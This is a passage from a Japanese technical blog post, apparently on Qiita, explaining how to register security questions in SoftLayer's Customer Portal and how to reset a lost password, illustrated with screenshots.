※2)については、**SoftLayerのサポートチームは、一般ユーザーのパスワードリセットを受け付けていない**ことにご注意下さい。なぜならば、アカウントユーザーが何らかの意図をもってパスワードをrevokeしている可能性があるからです。一般ユーザーのパスワードリセットはアカウントユーザーに依頼する必要があります。SoftLayerのサポートチームが受け付けるのは管理者のパスワードリセットだけですが、その代わり非常に細かかな所まで身辺情報までチェックされ、やり取りに時間を要します。

#設定方法
Customer PortalのAccount -> Usersから、対象のユーザーを選択し、以下の**Security Questions**の項目を入力します。
![securityquestions2.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/f76b6fad-d591-e6a2-513d-91e3eef6d670.jpeg)


このSecurity Questionsとしては、以下の項目から必ず3つを選択して登録する必要があります。
- Who is your favorite artist?
- Who is your favorite actor?
- Who is your favorite teacher?
- What is your favorite movie?
- What is your favorite band?
- Name of your first boyfriend or girlfriend?
- Last 4 digits of your SSN or other id number?
- Your favorite color?
- The name of your High School?
- The year you were married?

また、オプションとして**Require Security Questions? Yes, require security questions on log in**にチェックを入れておくと、Customer Portalログイン時に必ずSecurity Questionを追加で質問してくるようになります。このオプションは必須ではありません。よって、普段のログインにはSecurity Questionsは使用せず、パスワードリセット時に備えてのみ利用するという設定も可能です。

#Customer Portalへのログイン（Require Security Questions?にチェックを入れていた場合）

1. ログイン画面（パスワード認証)
![login01.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/90ad233a-fedf-5020-06a4-76ba607a8066.jpeg)

2. Security Questionを１つ入力する必要あり！
![login02.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/21b0cce9-80c0-e602-7d2d-2082a204e584.jpeg)

#パスワードを紛失して、リセットをしたい時

1. ログイン画面（パスワード認証)にて、**Forget Password**を選択
![forget01.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/1cc65114-6403-2b19-d6fc-20f2971e1c70.jpeg)

2. ユーザーIDとメールアドレスを入力
![forget02.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/f7740ff3-5912-00d2-6186-8a0ce9cdc876.jpeg)

3. 以下の画面に遷移し、メールが届くので、メール中のリンクを選択
![forget03.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/65db2a68-a00a-cfa7-c76f-af2c2c3c9c72.jpeg)
受信メール
![forget04_new.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/112d3e14-0982-e253-b35c-a41e03a9d7b2.jpeg)


4. **全ての**Security Questionsに答えて、新パスワードを入力
![forget05.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/d349dccd-710f-233d-df9c-f0d38b27786c.jpeg)

5. 最後に以下の画面に遷移する
![forget06.jpg](https://qiita-image-store.s3.amazonaws.com/0/62127/1cac165c-f978-9dac-4597-c39d01368d3d.jpeg)